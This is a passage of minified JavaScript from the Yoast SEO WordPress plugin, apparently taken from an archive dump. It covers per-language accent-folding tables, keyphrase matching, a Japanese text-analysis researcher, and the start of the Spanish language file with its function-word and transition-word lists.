\u00f2\u00f3\u020f\u020d]/g,alternative:"o"},{letter:/\u1ecd\u0311/g,alternative:"o"},{letter:/\u1ecd\u0301/g,alternative:"o"},{letter:/\u1ecc\u0311/g,alternative:"O"},{letter:/\u1ecc\u0301/g,alternative:"O"},{letter:/[\u00d2\u00d3\u020e\u020c]/g,alternative:"O"},{letter:/[\u00f9\u00fa\u0217\u0215]/g,alternative:"u"},{letter:/[\u00d9\u00da\u0216\u0214]/g,alternative:"U"},{letter:/[\u0155\u0213]/g,alternative:"r"},{letter:/[\u0154\u0212]/g,alternative:"R"}],sq:[{letter:/[\u00e7]/g,alternative:"c"},{letter:/[\u00c7]/g,alternative:"C"},{letter:/[\u00eb]/g,alternative:"e"},{letter:/[\u00cb]/g,alternative:"E"}],hu:[{letter:/[\u00e1]/g,alternative:"a"},{letter:/[\u00c1]/g,alternative:"A"},{letter:/[\u00e9]/g,alternative:"e"},{letter:/[\u00c9]/g,alternative:"E"},{letter:/[\u00ed]/g,alternative:"i"},{letter:/[\u00cd]/g,alternative:"I"},{letter:/[\u00f3\u00f6\u0151]/g,alternative:"o"},{letter:/[\u00d3\u00d6\u0150]/g,alternative:"O"},{letter:/[\u00fa\u00fc\u0171]/g,alternative:"u"},{letter:/[\u00da\u00dc\u0170]/g,alternative:"U"}],srd:[{letter:/[\u00e7]/g,alternative:"c"},{letter:/[\u00c7]/g,alternative:"C"},{letter:/[\u00e0\u00e1]/g,alternative:"a"},{letter:/[\u00c0\u00c1]/g,alternative:"A"},{letter:/[\u00e8\u00e9]/g,alternative:"e"},{letter:/[\u00c8\u00c9]/g,alternative:"E"},{letter:/[\u00ed\u00ef]/g,alternative:"i"},{letter:/[\u00cd\u00cf]/g,alternative:"I"},{letter:/[\u00f2\u00f3]/g,alternative:"o"},{letter:/[\u00d2\u00d3]/g,alternative:"O"},{letter:/[\u00fa\u00f9]/g,alternative:"u"},{letter:/[\u00da\u00d9]/g,alternative:"U"}],szl:[{letter:/[\u0107]/g,alternative:"c"},{letter:/[\u0106]/g,alternative:"C"},{letter:/[\u00e3]/g,alternative:"a"},{letter:/[\u00c3]/g,alternative:"A"},{letter:/[\u0142]/g,alternative:"u"},{letter:/[\u0141]/g,alternative:"U"},{letter:/[\u006e]/g,alternative:"n"},{letter:/[\u004e]/g,alternative:"N"},{letter:/[\u014f\u014d\u00f4\u00f5]/g,alternative:"o"},{letter:/[\u014e\u014c\u00d4\u00d5]/g,alternative:"O"},{letter:/[\u015b]/g,alternative:"s"},{letter:/[\u015a]/g,alternative:"S"},{letter:/[\u017a\u017c\u017e]/g,alternative:"z"},{letter:/[\u0179\u017b\u017d]/g,alternative:"Z"},{letter:/[\u016f]/g,alternative:"u"},{letter:/[\u016e]/g,alternative:"U"},{letter:/[\u010d]/g,alternative:"cz"},{letter:/[\u010c]/g,alternative:"Cz"},{letter:/[\u0159]/g,alternative:"rz"},{letter:/[\u0158]/g,alternative:"Rz"},{letter:/[\u0161]/g,alternative:"sz"},{letter:/[\u0160]/g,alternative:"Sz"}],tah:[{letter:/[\u0101\u00e2\u00e0]/g,alternative:"a"},{letter:/[\u0100\u00c2\u00c0]/g,alternative:"A"},{letter:/[\u00ef\u00ee\u00ec]/g,alternative:"i"},{letter:/[\u00cf\u00ce\u00cc]/g,alternative:"I"},{letter:/[\u0113\u00ea\u00e9]/g,alternative:"e"},{letter:/[\u0112\u00ca\u00c9]/g,alternative:"E"},{letter:/[\u016b\u00fb\u00fa]/g,alternative:"u"},{letter:/[\u016a\u00db\u00da]/g,alternative:"U"},{letter:/[\u00e7]/g,alternative:"c"},{letter:/[\u00c7]/g,alternative:"C"},{letter:/[\u00f2\u00f4\u014d]/g,alternative:"o"},{letter:/[\u00d2\u00d4\u014c]/g,alternative:"O"},{letter:/[\u2019\u0027\u2018]/g,alternative:""}],vec:[{letter:/\u0073\u002d\u0063/g,alternative:"sc"},{letter:/\u0053\u002d\u0043/g,alternative:"SC"},{letter:/\u0073\u0027\u0063/g,alternative:"sc"},{letter:/\u0053\u0027\u0043/g,alternative:"SC"},{letter:/\u0073\u2019\u0063/g,alternative:"sc"},{letter:/\u0053\u2019\u0043/g,alternative:"SC"},{letter:/\u0073\u2018\u0063/g,alternative:"sc"},{letter:/\u0053\u2018\u0043/g,alternative:"SC"},{letter:/\u0053\u002d\u0063/g,alternative:"Sc"},{letter:/\u0053\u0027\u0063/g,alternative:"Sc"},{letter:/\u0053\u2019\u0063/g,alternative:"Sc"},{letter:/\u0053\u2018\u0063/g,alternative:"Sc"},{letter:/\u0063\u2019/g,alternative:"c"},{letter:/\u0043\u2019/g,alternative:"C"},{letter:/\u0063\u2018/g,alternative:"c"},{letter:/\u0043\u2018/g,alternative:"C"},{letter:/\u0063\u0027/g,alternative:"c"},{letter:/\u0043\u0027/g,alternative:"C"},{letter:/[\u00e0\u00e1\u00e2]/g,alternative:"a"},{letter:/[\u00c0\u00c1\u00c2]/g,alternative:"A"},{letter:/[\u00e8\u00e9]/g,alternative:"e"},{letter:/[\u00c8\u00c9]/g,alternative:"E"},{letter:/[\u00f2\u00f3]/g,alternative:"o"},{letter:/[\u00d2\u00d3]/g,alternative:"O"},{letter:/[\u00f9\u00fa]/g,alternative:"u"},{letter:/[\u00d9\u00da]/g,alternative:"U"},{letter:/[\u00e7\u010d\u010b]/g,alternative:"c"},{letter:/[\u00c7\u010c\u010a]/g,alternative:"C"},{letter:/[\u0142]/g,alternative:"l"},{letter:/[\u00a3\u0141]/g,alternative:"L"},{letter:/\ud835\udeff/g,alternative:"dh"},{letter:/[\u0111\u03b4]/g,alternative:"dh"},{letter:/[\u0110\u0394]/g,alternative:"Dh"}],wa:[{letter:/[\u00e2\u00e5]/g,alternative:"a"},{letter:/[\u00c2\u00c5]/g,alternative:"A"},{letter:/[\u00e7]/g,alternative:"c"},{letter:/[\u00c7]/g,alternative:"C"},{letter:/\u0065\u030a/g,alternative:"e"},{letter:/\u0045\u030a/g,alternative:"E"},{letter:/[\u00eb\u00ea\u00e8\u00e9]/g,alternative:"e"},{letter:/[\u00c9\u00c8\u00ca\u00cb]/g,alternative:"E"},{letter:/[\u00ee]/g,alternative:"i"},{letter:/[\u00ce]/g,alternative:"I"},{letter:/[\u00f4\u00f6]/g,alternative:"o"},{letter:/[\u00d6\u00d4]/g,alternative:"O"},{letter:/[\u00fb]/g,alternative:"u"},{letter:/[\u00db]/g,alternative:"U"}],yor:[{letter:/[\u00e1\u00e0]/g,alternative:"a"},{letter:/[\u00c1\u00c0]/g,alternative:"A"},{letter:/[\u00ec\u00ed]/g,alternative:"i"},{letter:/[\u00cc\u00cd]/g,alternative:"I"},{letter:/\u1ecd\u0301/g,alternative:"o"},{letter:/\u1ecc\u0301/g,alternative:"O"},{letter:/\u1ecd\u0300/g,alternative:"o"},{letter:/\u1ecc\u0300/g,alternative:"O"},{letter:/[\u00f3\u00f2\u1ecd]/g,alternative:"o"},{letter:/[\u00d3\u00d2\u1ecc]/g,alternative:"O"},{letter:/[\u00fa\u00f9]/g,alternative:"u"},{letter:/[\u00da\u00d9]/g,alternative:"U"},{letter:/\u1eb9\u0301/g,alternative:"e"},{letter:/\u1eb8\u0301/g,alternative:"E"},{letter:/\u1eb9\u0300/g,alternative:"e"},{letter:/\u1eb8\u0300/g,alternative:"E"},{letter:/[\u00e9\u00e8\u1eb9]/g,alternative:"e"},{letter:/[\u00c9\u00c8\u1eb8]/g,alternative:"E"},{letter:/[\u1e63]/g,alternative:"s"},{letter:/[\u1e62]/g,alternative:"S"}]};const Se=[{letter:/[\u00A3]/g,alternative:""},{letter:/[\u20AC]/g,alternative:"E"},{letter:/[\u00AA]/g,alternative:"a"},{letter:/[\u00BA]/g,alternative:"o"},{letter:/[\u00C0]/g,alternative:"A"},{letter:/[\u00C1]/g,alternative:"A"},{letter:/[\u00C2]/g,alternative:"A"},{letter:/[\u00C3]/g,alternative:"A"},{letter:/[\u00C4]/g,alternative:"A"},{letter:/[\u00C5]/g,alternative:"A"},{letter:/[\u00C6]/g,alternative:"AE"},{letter:/[\u00C7]/g,alternative:"C"},{letter:/[\u00C8]/g,alternative:"E"},{letter:/[\u00C9]/g,alternative:"E"},{letter:/[\u00CA]/g,alternative:"E"},{letter:/[\u00CB]/g,alternative:"E"},{letter:/[\u00CC]/g,alternative:"I"},{letter:/[\u00CD]/g,alternative:"I"},{letter:/[\u00CE]/g,alternative:"I"},{letter:/[\u00CF]/g,alternative:"I"},{letter:/[\u00D0]/g,alternative:"D"},{letter:/[\u00D1]/g,alternative:"N"},{letter:/[\u00D2]/g,alternative:"O"},{letter:/[\u00D3]/g,alternative:"O"},{letter:/[\u00D4]/g,alternative:"O"},{letter:/[\u00D5]/g,alternative:"O"},{letter:/[\u00D6]/g,alternative:"O"},{letter:/[\u00D8]/g,alternative:"O"},{letter:/[\u00D9]/g,alternative:"U"},{letter:/[\u00DA]/g,alternative:"U"},{letter:/[\u00DB]/g,alternative:"U"},{letter:/[\u00DC]/g,alternative:"U"},{letter:/[\u00DD]/g,alternative:"Y"},{letter:/[\u00DE]/g,alternative:"TH"},{letter:/[\u00DF]/g,alternative:"s"},{letter:/[\u00E0]/g,alternative:"a"},{letter:/[\u00E1]/g,alternative:"a"},{letter:/[\u00E2]/g,alternative:"a"},{letter:/[\u00E3]/g,alternative:"a"},{letter:/[\u00E4]/g,alternative:"a"},{letter:/[\u00E5]/g,alternative:"a"},{letter:/[\u00E6]/g,alternative:"ae"},{letter:/[\u00E7]/g,alternative:"c"},{letter:/[\u00E8]/g,alternative:"e"},{letter:/[\u00E9]/g,alternative:"e"},{letter:/[\u00EA]/g,alternative:"e"},{letter:/[\u00EB]/g,alternative:"e"},{letter:/[\u00EC]/g,alternative:"i"},{letter:/[\u00ED]/g,alternative:"i"},{letter:/[\u00EE]/g,alternative:"i"},{letter:/[\u00EF]/g,alternative:"i"},{letter:/[\u00F0]/g,alternative:"d"},{letter:/[\u00F1]/g,alternative:"n"},{letter:/[\u00F2]/g,alternative:"o"},{letter:/[\u00F3]/g,alternative:"o"},{letter:/[\u00F4]/g,alternative:"o"},{letter:/[\u00F5]/g,alternative:"o"},{letter:/[\u00F6]/g,alternative:"o"},{letter:/[\u00F8]/g,alternative:"o"},{letter:/[\u00F9]/g,alternative:"u"},{letter:/[\u00FA]/g,alternative:"u"},{letter:/[\u00FB]/g,alternative:"u"},{letter:/[\u00FC]/g,alternative:"u"},{letter:/[\u00FD]/g,alternative:"y"},{letter:/[\u00FE]/g,alternative:"th"},{letter:/[\u00FF]/g,alternative:"y"},{letter:/[\u0100]/g,alternative:"A"},{letter:/[\u0101]/g,alternative:"a"},{letter:/[\u0102]/g,alternative:"A"},{letter:/[\u0103]/g,alternative:"a"},{letter:/[\u0104]/g,alternative:"A"},{letter:/[\u0105]/g,alternative:"a"},{letter:/[\u0106]/g,alternative:"C"},{letter:/[\u0107]/g,alternative:"c"},{letter:/[\u0108]/g,alternative:"C"},{letter:/[\u0109]/g,alternative:"c"},{letter:/[\u010A]/g,alternative:"C"},{letter:/[\u010B]/g,alternative:"c"},{letter:/[\u010C]/g,alternative:"C"},{letter:/[\u010D]/g,alternative:"c"},{letter:/[\u010E]/g,alternative:"D"},{letter:/[\u010F]/g,alternative:"d"},{letter:/[\u0110]/g,alternative:"D"},{letter:/[\u0111]/g,alternative:"d"},{letter:/[\u0112]/g,alternative:"E"},{letter:/[\u0113]/g,alternative:"e"},{letter:/[\u0114]/g,alternative:"E"},{letter:/[\u0115]/g,alternative:"e"},{letter:/[\u0116]/g,alternative:"E"},{letter:/[\u0117]/g,alternative:"e"},{letter:/[\u0118]/g,alternative:"E"},{letter:/[\u0119]/g,alternative:"e"},{letter:/[\u011A]/g,alternative:"E"},{letter:/[\u011B]/g,alternative:"e"},{letter:/[\u011C]/g,alternative:"G"},{letter:/[\u011D]/g,alternative:"g"},{letter:/[\u011E]/g,alternative:"G"},{letter:/[\u011F]/g,alternative:"g"},{letter:/[\u0120]/g,alternative:"G"},{letter:/[\u0121]/g,alternative:"g"},{letter:/[\u0122]/g,alternative:"G"},{letter:/[\u0123]/g,alternative:"g"},{letter:/[\u0124]/g,alternative:"H"},{letter:/[\u0125]/g,alternative:"h"},{letter:/[\u0126]/g,alternative:"H"},{letter:/[\u0127]/g,alternative:"h"},{letter:/[\u0128]/g,alternative:"I"},{letter:/[\u0129]/g,alternative:"i"},{letter:/[\u012A]/g,alternative:"I"},{letter:/[\u012B]/g,alternative:"i"},{letter:/[\u012C]/g,alternative:"I"},{letter:/[\u012D]/g,alternative:"i"},{letter:/[\u012E]/g,alternative:"I"},{letter:/[\u012F]/g,alternative:"i"},{letter:/[\u0130]/g,alternative:"I"},{letter:/[\u0131]/g,alternative:"i"},{letter:/[\u0132]/g,alternative:"IJ"},{letter:/[\u0133]/g,alternative:"ij"},{letter:/[\u0134]/g,alternative:"J"},{letter:/[\u0135]/g,alternative:"j"},{letter:/[\u0136]/g,alternative:"K"},{letter:/[\u0137]/g,alternative:"k"},{letter:/[\u0138]/g,alternative:"k"},{letter:/[\u0139]/g,alternative:"L"},{letter:/[\u013A]/g,alternative:"l"},{letter:/[\u013B]/g,alternative:"L"},{letter:/[\u013C]/g,alternative:"l"},{letter:/[\u013D]/g,alternative:"L"},{letter:/[\u013E]/g,alternative:"l"},{letter:/[\u013F]/g,alternative:"L"},{letter:/[\u0140]/g,alternative:"l"},{letter:/[\u0141]/g,alternative:"L"},{letter:/[\u0142]/g,alternative:"l"},{letter:/[\u0143]/g,alternative:"N"},{letter:/[\u0144]/g,alternative:"n"},{letter:/[\u0145]/g,alternative:"N"},{letter:/[\u0146]/g,alternative:"n"},{letter:/[\u0147]/g,alternative:"N"},{letter:/[\u0148]/g,alternative:"n"},{letter:/[\u0149]/g,alternative:"n"},{letter:/[\u014A]/g,alternative:"N"},{letter:/[\u014B]/g,alternative:"n"},{letter:/[\u014C]/g,alternative:"O"},{letter:/[\u014D]/g,alternative:"o"},{letter:/[\u014E]/g,alternative:"O"},{letter:/[\u014F]/g,alternative:"o"},{letter:/[\u0150]/g,alternative:"O"},{letter:/[\u0151]/g,alternative:"o"},{letter:/[\u0152]/g,alternative:"OE"},{letter:/[\u0153]/g,alternative:"oe"},{letter:/[\u0154]/g,alternative:"R"},{letter:/[\u0155]/g,alternative:"r"},{letter:/[\u0156]/g,alternative:"R"},{letter:/[\u0157]/g,alternative:"r"},{letter:/[\u0158]/g,alternative:"R"},{letter:/[\u0159]/g,alternative:"r"},{letter:/[\u015A]/g,alternative:"S"},{letter:/[\u015B]/g,alternative:"s"},{letter:/[\u015C]/g,alternative:"S"},{letter:/[\u015D]/g,alternative:"s"},{letter:/[\u015E]/g,alternative:"S"},{letter:/[\u015F]/g,alternative:"s"},{letter:/[\u0160]/g,alternative:"S"},{letter:/[\u0161]/g,alternative:"s"},{letter:/[\u0162]/g,alternative:"T"},{letter:/[\u0163]/g,alternative:"t"},{letter:/[\u0164]/g,alternative:"T"},{letter:/[\u0165]/g,alternative:"t"},{letter:/[\u0166]/g,alternative:"T"},{letter:/[\u0167]/g,alternative:"t"},{letter:/[\u0168]/g,alternative:"U"},{letter:/[\u0169]/g,alternative:"u"},{letter:/[\u016A]/g,alternative:"U"},{letter:/[\u016B]/g,alternative:"u"},{letter:/[\u016C]/g,alternative:"U"},{letter:/[\u016D]/g,alternative:"u"},{letter:/[\u016E]/g,alternative:"U"},{letter:/[\u016F]/g,alternative:"u"},{letter:/[\u0170]/g,alternative:"U"},{letter:/[\u0171]/g,alternative:"u"},{letter:/[\u0172]/g,alternative:"U"},{letter:/[\u0173]/g,alternative:"u"},{letter:/[\u0174]/g,alternative:"W"},{letter:/[\u0175]/g,alternative:"w"},{letter:/[\u0176]/g,alternative:"Y"},{letter:/[\u0177]/g,alternative:"y"},{letter:/[\u0178]/g,alternative:"Y"},{letter:/[\u0179]/g,alternative:"Z"},{letter:/[\u017A]/g,alternative:"z"},{letter:/[\u017B]/g,alternative:"Z"},{letter:/[\u017C]/g,alternative:"z"},{letter:/[\u017D]/g,alternative:"Z"},{letter:/[\u017E]/g,alternative:"z"},{letter:/[\u017F]/g,alternative:"s"},{letter:/[\u01A0]/g,alternative:"O"},{letter:/[\u01A1]/g,alternative:"o"},{letter:/[\u01AF]/g,alternative:"U"},{letter:/[\u01B0]/g,alternative:"u"},{letter:/[\u01CD]/g,alternative:"A"},{letter:/[\u01CE]/g,alternative:"a"},{letter:/[\u01CF]/g,alternative:"I"},{letter:/[\u01D0]/g,alternative:"i"},{letter:/[\u01D1]/g,alternative:"O"},{letter:/[\u01D2]/g,alternative:"o"},{letter:/[\u01D3]/g,alternative:"U"},{letter:/[\u01D4]/g,alternative:"u"},{letter:/[\u01D5]/g,alternative:"U"},{letter:/[\u01D6]/g,alternative:"u"},{letter:/[\u01D7]/g,alternative:"U"},{letter:/[\u01D8]/g,alternative:"u"},{letter:/[\u01D9]/g,alternative:"U"},{letter:/[\u01DA]/g,alternative:"u"},{letter:/[\u01DB]/g,alternative:"U"},{letter:/[\u01DC]/g,alternative:"u"},{letter:/[\u0218]/g,alternative:"S"},{letter:/[\u0219]/g,alternative:"s"},{letter:/[\u021A]/g,alternative:"T"},{letter:/[\u021B]/g,alternative:"t"},{letter:/[\u0251]/g,alternative:"a"},{letter:/[\u1EA0]/g,alternative:"A"},{letter:/[\u1EA1]/g,alternative:"a"},{letter:/[\u1EA2]/g,alternative:"A"},{letter:/[\u1EA3]/g,alternative:"a"},{letter:/[\u1EA4]/g,alternative:"A"},{letter:/[\u1EA5]/g,alternative:"a"},{letter:/[\u1EA6]/g,alternative:"A"},{letter:/[\u1EA7]/g,alternative:"a"},{letter:/[\u1EA8]/g,alternative:"A"},{letter:/[\u1EA9]/g,alternative:"a"},{letter:/[\u1EAA]/g,alternative:"A"},{letter:/[\u1EAB]/g,alternative:"a"},{letter:/[\u1EA6]/g,alternative:"A"},{letter:/[\u1EAD]/g,alternative:"a"},{letter:/[\u1EAE]/g,alternative:"A"},{letter:/[\u1EAF]/g,alternative:"a"},{letter:/[\u1EB0]/g,alternative:"A"},{letter:/[\u1EB1]/g,alternative:"a"},{letter:/[\u1EB2]/g,alternative:"A"},{letter:/[\u1EB3]/g,alternative:"a"},{letter:/[\u1EB4]/g,alternative:"A"},{letter:/[\u1EB5]/g,alternative:"a"},{letter:/[\u1EB6]/g,alternative:"A"},{letter:/[\u1EB7]/g,alternative:"a"},{letter:/[\u1EB8]/g,alternative:"E"},{letter:/[\u1EB9]/g,alternative:"e"},{letter:/[\u1EBA]/g,alternative:"E"},{letter:/[\u1EBB]/g,alternative:"e"},{letter:/[\u1EBC]/g,alternative:"E"},{letter:/[\u1EBD]/g,alternative:"e"},{letter:/[\u1EBE]/g,alternative:"E"},{letter:/[\u1EBF]/g,alternative:"e"},{letter:/[\u1EC0]/g,alternative:"E"},{letter:/[\u1EC1]/g,alternative:"e"},{letter:/[\u1EC2]/g,alternative:"E"},{letter:/[\u1EC3]/g,alternative:"e"},{letter:/[\u1EC4]/g,alternative:"E"},{letter:/[\u1EC5]/g,alternative:"e"},{letter:/[\u1EC6]/g,alternative:"E"},{letter:/[\u1EC7]/g,alternative:"e"},{letter:/[\u1EC8]/g,alternative:"I"},{letter:/[\u1EC9]/g,alternative:"i"},{letter:/[\u1ECA]/g,alternative:"I"},{letter:/[\u1ECB]/g,alternative:"i"},{letter:/[\u1ECC]/g,alternative:"O"},{letter:/[\u1ECD]/g,alternative:"o"},{letter:/[\u1ECE]/g,alternative:"O"},{letter:/[\u1ECF]/g,alternative:"o"},{letter:/[\u1ED0]/g,alternative:"O"},{letter:/[\u1ED1]/g,alternative:"o"},{letter:/[\u1ED2]/g,alternative:"O"},{letter:/[\u1ED3]/g,alternative:"o"},{letter:/[\u1ED4]/g,alternative:"O"},{letter:/[\u1ED5]/g,alternative:"o"},{letter:/[\u1ED6]/g,alternative:"O"},{letter:/[\u1ED7]/g,alternative:"o"},{letter:/[\u1ED8]/g,alternative:"O"},{letter:/[\u1ED9]/g,alternative:"o"},{letter:/[\u1EDA]/g,alternative:"O"},{letter:/[\u1EDB]/g,alternative:"o"},{letter:/[\u1EDC]/g,alternative:"O"},{letter:/[\u1EDD]/g,alternative:"o"},{letter:/[\u1EDE]/g,alternative:"O"},{letter:/[\u1EDF]/g,alternative:"o"},{letter:/[\u1EE0]/g,alternative:"O"},{letter:/[\u1EE1]/g,alternative:"o"},{letter:/[\u1EE2]/g,alternative:"O"},{letter:/[\u1EE3]/g,alternative:"o"},{letter:/[\u1EE4]/g,alternative:"U"},{letter:/[\u1EE5]/g,alternative:"u"},{letter:/[\u1EE6]/g,alternative:"U"},{letter:/[\u1EE7]/g,alternative:"u"},{letter:/[\u1EE8]/g,alternative:"U"},{letter:/[\u1EE9]/g,alternative:"u"},{letter:/[\u1EEA]/g,alternative:"U"},{letter:/[\u1EEB]/g,alternative:"u"},{letter:/[\u1EEC]/g,alternative:"U"},{letter:/[\u1EED]/g,alternative:"u"},{letter:/[\u1EEE]/g,alternative:"U"},{letter:/[\u1EEF]/g,alternative:"u"},{letter:/[\u1EF0]/g,alternative:"U"},{letter:/[\u1EF1]/g,alternative:"u"},{letter:/[\u1EF2]/g,alternative:"Y"},{letter:/[\u1EF3]/g,alternative:"y"},{letter:/[\u1EF4]/g,alternative:"Y"},{letter:/[\u1EF5]/g,alternative:"y"},{letter:/[\u1EF6]/g,alternative:"Y"},{letter:/[\u1EF7]/g,alternative:"y"},{letter:/[\u1EF8]/g,alternative:"Y"},{letter:/[\u1EF9]/g,alternative:"y"}],xe=[{letter:/[\u00C4]/g,alternative:"Ae"},{letter:/[\u00E4]/g,alternative:"ae"},{letter:/[\u00D6]/g,alternative:"Oe"},{letter:/[\u00F6]/g,alternative:"oe"},{letter:/[\u00DC]/g,alternative:"Ue"},{letter:/[\u00FC]/g,alternative:"ue"},{letter:/[\u1E9E]/g,alternative:"SS"},{letter:/[\u00DF]/g,alternative:"ss"}],we=[{letter:/[\u00C6]/g,alternative:"Ae"},{letter:/[\u00E6]/g,alternative:"ae"},{letter:/[\u00D8]/g,alternative:"Oe"},{letter:/[\u00F8]/g,alternative:"oe"},{letter:/[\u00C5]/g,alternative:"Aa"},{letter:/[\u00E5]/g,alternative:"aa"}],ke=[{letter:/[\u00B7]/g,alternative:"ll"}],Ke=[{letter:/[\u0110]/g,alternative:"DJ"},{letter:/[\u0111]/g,alternative:"dj"}],Te=function(e){switch(e){case"de":return xe;case"da":return we;case"ca":return ke;case"sr":case"bs":return Ke;default:return[]}};const Re=new RegExp(`([${Ie}])`,"g");function ze(e,t){const r=[];if(e.indexOf(t)>-1)for(let a=0;a<e.length;a++)e[a]===t&&r.push(a);return r}function Ne(e,r){return(0,t.filter)(e,(function(e){return!(0,t.includes)(r,e)}))}function We(e){return function e(t,r){const a=t[0];if(void 0===a)return r;for(let e=0,t=r.length;e<t;++e)r.push(r[e].concat(a));return e(t.slice(1),r)}(e,[[]]).slice(1).concat([[]])}function je(e,t,r){const a=e.split("");return t.forEach((function(e){a.splice(e,1,r)})),a.join("")}const Le=(0,t.memoize)((function(e){const r=ze(e,"İ").concat(ze(e,"I"),ze(e,"i"),ze(e,"ı"));if(r.sort(),0===r.length)return[e];const a=(l=function(e){const r=[],a=function(e,r="\\s",a=!0){if(""===(e=Z(e)))return[];const l=new RegExp(r,"g");let u=e.split(l);return u=a?u.map(ye):(0,t.flatMap)(u,(e=>e.replace(Re," $1 ").split(" "))),(0,t.filter)(u,(function(e){return""!==e.trim()}))}(e);let l=0;return a.forEach((function(t){const a=e.indexOf(t,l);r.push(a),l=a+t.length})),r}(e),u=r,(0,t.filter)(l,(function(e){return(0,t.includes)(u,e)})));var l,u;const n=[];We(a).forEach((function(e){if((0,t.isEqual)(e,a))n.push([e,[],[],[]]);else{const r=Ne(a,e);We(r).forEach((function(a){if((0,t.isEqual)(a,r))n.push([e,a,[],[]]);else{const l=Ne(r,a);We(l).forEach((function(r){if((0,t.isEqual)(r,l))n.push([e,a,r,[]]);else{const t=Ne(l,r);n.push([e,a,r,t])}}))}}))}}));const i=[];return n.forEach((function(t){const r=je(e,t[0],"İ"),a=je(r,t[1],"I"),l=je(a,t[2],"i"),u=je(l,t[3],"ı");i.push(u)})),i})),$e=function(e,t){return e=y(e,!1,"",t),new RegExp(e,"ig")};function Pe(e,r,a,l){e=function(e){return U(e=e.replace(/<(?!li|\/li|p|\/p|h1|\/h1|h2|\/h2|h3|\/h3|h4|\/h4|h5|\/h5|h6|\/h6|dd).*?>/g,""))}(e),e=C(e=Y(e)),r=C(r);let u=l?l(e,r):function(e,r,a){const l=Ue(a);let u=$e(r,l);if("tr"===l){const e=Le(r);u=new RegExp(e.map((e=>y(e))).join("|"),"ig")}const n=e.match(u)||[];e=e.replace(u,"");const i=function(e,r){const a=function(e){if((0,t.isUndefined)(e))return[];const r=Ue(e);return"nb"===r||"nn"===r?Me.nbnn:"bal"===r||"ca"===r?Me.ca:Me[r]||[]}(r);for(let t=0;t<a.length;t++)e=e.replace(a[t].letter,a[t].alternative);return e}(r,a),g=$e(i,l),v=e.match(g)||[];let s=n.concat(v);const c=function(e,r){const a=function(e){if((0,t.isUndefined)(e))return[];let r=Se;return r=r.concat(Te(Ue(e))),r}(r);for(let t=a.length-1;t>=0;t--)e=e.replace(a[t].letter,a[t].alternative);return e}(r,a);if(c!==i){const t=$e(c,l),r=e.match(t)||[];s=s.concat(r)}return(0,t.map)(s,(function(e){return U(e)}))}(e,r,a);u=(0,t.map)(u,(function(e){return U(ye(e))}));const n=(0,t.map)(u,(function(t){return e.indexOf(t)}));return{count:u.length,matches:u,position:0===n.length?-1:Math.min(...n)}}function Ye(e,r,a="en_EN",l){let u=0,n=[],i=[];return(0,t.uniq)(r).forEach((function(t){const r=Pe(e,t,a,l);u+=r.count,n=n.concat(r.matches),i.push(r.position)})),i=i.filter((e=>e>=0)),{count:u,matches:n,position:0===i.length?-1:Math.min(...i)}}function Ze(e,r){if(0===r)return r;let a=e.substring(0,r);return a=v(a),a=a.filter((e=>!s.includes(e))),(0,t.isEmpty)(a)?0:r}function Qe(e,r){const a=e.getTitle();let l=e.getKeyword();const u={allWordsFound:!1,position:-1,exactMatchKeyphrase:!1},n=h(l);if(n.exactMatchRequested){if(u.exactMatchKeyphrase=!0,!a.includes(n.keyphrase))return u;l=c(n.keyphrase);const e=Ye(a,l,"ja",A);return e.matches.length===l.length&&(u.allWordsFound=!0,u.position=Ze(a,e.position)),u}const i=function(e,r,a,l){const u=e.length,n=Array(u);let i=[],g=[];for(let t=0;t<u;t++){const u=Ye(r,e[t],a,l);n[t]=u.count>0?1:0,i.push(u.position),g=g.concat(u.matches)}const v=(0,t.sum)(n),s={countWordMatches:v,percentWordMatches:0,matches:g};return u>0&&(s.percentWordMatches=Math.round(v/u*100)),i=i.filter((e=>e>=0)),s.position=0===i.length?-1:Math.min(...i),s}(r.getResearch("morphology").keyphraseForms,a,"ja",A);return 100===i.percentWordMatches&&(u.allWordsFound=!0,u.position=Ze(a,i.position)),u}const{AbstractResearcher:Ge}=e.languageProcessing;class qe extends Ge{constructor(e){super(e),delete this.defaultResearches.getFleschReadingScore,delete this.defaultResearches.getPassiveVoiceResult,delete this.defaultResearches.keywordCountInSlug,Object.assign(this.config,{language:"ja",firstWordExceptions:ve,functionWords:s,transitionWords:se,topicLength:ce,textLength:oe,paragraphLength:Ee,assessmentApplicability:he,sentenceLength:de,keyphraseLength:Ce,subheadingsTooLong:fe,countCharacters:!0,metaDescriptionLength:Ae}),Object.assign(this.helpers,{matchWordCustomHelper:A,getWordsCustomHelper:v,getContentWords:c,customGetStemmer:D,wordsCharacterCount:m,customCountLength:_,matchTransitionWordsHelper:I,memoizedTokenizer:ie,splitIntoTokensCustom:ge}),Object.assign(this.defaultResearches,{morphology:Be,keyphraseLength:Oe,wordCountInText:_e,findKeyphraseInSEOTitle:Qe})}}})(),(window.yoast=window.yoast||{}).Researcher=a})();wordpress-seo/js/dist/languages/es.js000064400000356631147510273070013676 0ustar00(()=>{"use strict";var a={d:(d,e)=>{for(var i in e)a.o(e,i)&&!a.o(d,i)&&Object.defineProperty(d,i,{enumerable:!0,get:e[i]})},o:(a,d)=>Object.prototype.hasOwnProperty.call(a,d),r:a=>{"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(a,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(a,"__esModule",{value:!0})}},d={};a.r(d),a.d(d,{default:()=>Ca});const e=window.yoast.analysis,i=["el","los","la","las","un","una","unas","unos","uno","dos","tres","cuatro","cinco","seis","siete","ocho","nueve","diez","este","estos","esta","estas","ese","esos","esa","esas","aquel","aquellos","aquella","aquellas","esto","eso","aquello"],r=["además","adicional","así","asimismo","aún","aunque","ciertamente","como","concluyendo","conque","contrariamente","cuando","decididamente","decisivamente","después","diferentemente","efectivamente","entonces","especialmente","específicamente","eventualmente","evidentemente","finalmente","frecuentemente","generalmente","igualmente","lógicamente","luego","mas","mientras","pero","por","porque","posteriormente","primero","principalmente","pronto","próximamente","pues","raramente","realmente","seguidamente","segundo","semejantemente","si","siguiente","sino","súbitamente","supongamos","también","tampoco","tercero","verbigracia","vice-versa","ya"],s=r.concat(["a causa de","a continuación","a diferencia de","a fin de cuentas","a la inversa","a la misma vez","a más de","a más de esto","a menos que","a no ser que","a pesar de","a pesar de eso","a pesar de todo","a peser de","a propósito","a saber","a todo esto","ahora bien","al contrario","al fin y al cabo","al final","al inicio","al mismo tiempo","al principio","ante todo","antes bien","antes de","antes de nada","antes que nada","aparte de","as así como","así como","así mismo","así pues","así que","así y todo","aún así","claro está que","claro que","claro que sí","como caso típico","como decíamos","como era de esperar","como es de esperar","como 